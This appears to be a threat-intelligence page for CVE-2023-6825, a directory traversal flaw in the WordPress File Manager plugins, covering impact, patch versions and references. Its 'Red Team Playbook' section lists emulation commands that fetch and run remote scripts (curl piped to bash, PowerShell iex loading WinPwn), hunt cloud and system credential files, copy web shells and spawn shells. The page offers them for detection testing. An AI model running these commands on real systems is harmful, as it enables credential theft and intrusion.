CVE-2023-6825
Overview
This vulnerability is a directory traversal flaw originating from insufficient validation of the 'target' parameter within the mk_file_folder_manager_action_callback_shortcode function. The affected components are the File Manager and File Manager Pro WordPress plugins, which fail to properly sanitize input paths, allowing manipulation of file system paths beyond intended directories. The root cause lies in the improper handling of directory traversal sequences that bypass access controls in file management operations.
Vulnerability Description
The File Manager and File Manager Pro plugins for WordPress are vulnerable to Directory Traversal in versions up to, and including version 7.2.1 (free version) and 8.3.4 (Pro version) via the target parameter in the mk_file_folder_manager_action_callback_shortcode function. This makes it possible for attackers to read the contents of arbitrary files on the server, which can contain sensitive information and to upload files into directories other than the intended directory for file uploads. The free version requires Administrator access for this vulnerability to be exploitable. The Pro version allows a file manager to be embedded via a shortcode and also allows admins to grant file handling privileges to other user levels, which could lead to this vulnerability being exploited by lower-level users.
Impact
An attacker with Administrator access in the free version or lower-level user privileges in the Pro version can exploit this vulnerability to read sensitive files on the server or upload malicious files to unauthorized directories. This can lead to unauthorized data disclosure, potential code execution through uploaded files, and compromise of the hosting environment. The CVSS vector (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H) indicates network exploitability with low attack complexity, requiring privileges but no user interaction, and resulting in complete confidentiality, integrity, and availability impact.
Solution
Users should upgrade the mndpsingh287 File Manager plugin to versions later than 7.2.1 for the free edition and later than 8.3.4 for the Pro edition. Detailed patch instructions and version updates are documented in the WordPress plugin repository changelog (changeset 3023403) and the Wordfence advisory (https://www.wordfence.com/threat-intel/vulnerabilities/id/93f377a1-2c33-4dd7-8fd6-190d9148e804). Administrators should apply these updates promptly to mitigate exploitation risks associated with directory traversal in the mk_file_folder_manager_action_callback_shortcode function.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability present in the File Manager and File Manager Pro plugins for WordPress is characterized by a directory traversal flaw that allows unauthorized access to sensitive files on the server. This issue arises from improper validation of user input in the `mk_file_folder_manager_action_callback_shortcode` function, specifically through the target parameter. When exploited, this vulnerability enables an attacker to traverse the directory structure of the server, potentially accessing files outside the intended directory. This can lead to the exposure of sensitive information, such as configuration files, user data, and other critical system files that should remain confidential.
The attack vectors associated with this vulnerability vary based on the version of the plugin in use. In the free version, the flaw necessitates Administrator access, which limits the potential attack surface to those who already possess elevated privileges. However, the Pro version complicates matters by allowing administrators to embed the file manager via a shortcode and delegate file handling permissions to lower-level users. This means that even users with minimal privileges could exploit the vulnerability if they are granted access to the file manager, thereby increasing the risk of unauthorized file access and manipulation. Attackers could leverage this flaw to upload malicious files, execute arbitrary code, or exfiltrate sensitive data, significantly compromising the integrity and confidentiality of the server.
The real-world impact of this vulnerability can be profound, particularly for organizations that rely on the affected plugins for file management within their WordPress installations. The potential for data breaches is significant, as attackers could gain access to sensitive information that could be used for further exploitation, such as identity theft, financial fraud, or corporate espionage. Additionally, the presence of such a vulnerability can lead to reputational damage, loss of customer trust, and potential legal ramifications if sensitive data is compromised. The business risk is amplified for organizations that handle personal data or operate in regulated industries, where compliance with data protection regulations is paramount.
To detect and mitigate this vulnerability, organizations should implement a multi-faceted approach. Regularly updating the File Manager and File Manager Pro plugins to the latest versions is crucial, as developers often release patches to address known vulnerabilities. Conducting routine security audits and vulnerability assessments can help identify any instances of the flawed plugins in use and assess the overall security posture of the WordPress environment. Additionally, organizations should enforce strict access controls, ensuring that only trusted users have administrative privileges and that file handling permissions are limited to necessary roles. Employing web application firewalls (WAF) can also provide an additional layer of protection by filtering out malicious requests that attempt to exploit this vulnerability.
In conclusion, the directory traversal vulnerability in the File Manager and File Manager Pro plugins poses a significant threat to the security of WordPress installations. Its potential for exploitation by both high-level and lower-level users underscores the importance of robust access controls and regular updates. By adopting comprehensive detection and mitigation strategies, organizations can safeguard their systems against this and similar vulnerabilities, thereby protecting sensitive information and maintaining operational integrity.
CSURFACE threat intelligence has detected a marked escalation in activity related to CVE-2023-6825, with telemetry indicating a rapid and substantial increase in exploitation attempts targeting the File Manager and File Manager Pro WordPress plugins. The EPSS score has surged dramatically, placing this vulnerability in the 99th percentile for exploitation likelihood, which signals a shift from theoretical risk to active targeting in the wild. Although no new exploit variants or proof-of-concept codes have been publicly identified, the sharp rise in detection events suggests that threat actors are increasingly incorporating this vulnerability into their attack frameworks. This development elevates the threat level considerably, as the increased exploitation pressure heightens the risk of unauthorized file access and server compromise. Defenders should recognize that the vulnerability is no longer primarily a latent risk but a present and escalating threat, necessitating heightened vigilance in monitoring and response efforts.
Affected Products (2)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Mndpsingh287 | File Manager | All |
cpe:2.3:a:mndpsingh287:file_manager:*:*:*:*:free:wordpress:*:*
|
|
|
Mndpsingh287 | File Manager | All |
cpe:2.3:a:mndpsingh287:file_manager:*:*:*:*:pro:wordpress:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
2 eventsSighting activity recorded
Sighting activity recorded
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (4)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2023-6825 |
| wordfence.com |
GitHub CVE
|
https://www.wordfence.com/threat-intel/vulnerabilities/id/93f377a1-2c33-4dd7-8fd6-190d9148e804?source=cve |
| github.com |
GitHub CVE
|
https://github.com/Studio-42/elFinder/blob/master/php/elFinderVolumeDriver.class.php#L6784 |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&new=3023403%40wp-file-manager%2Ftrunk&old=2984933%40wp-file-manager%2Ftrunk&sfp_email=&sfph_mail= |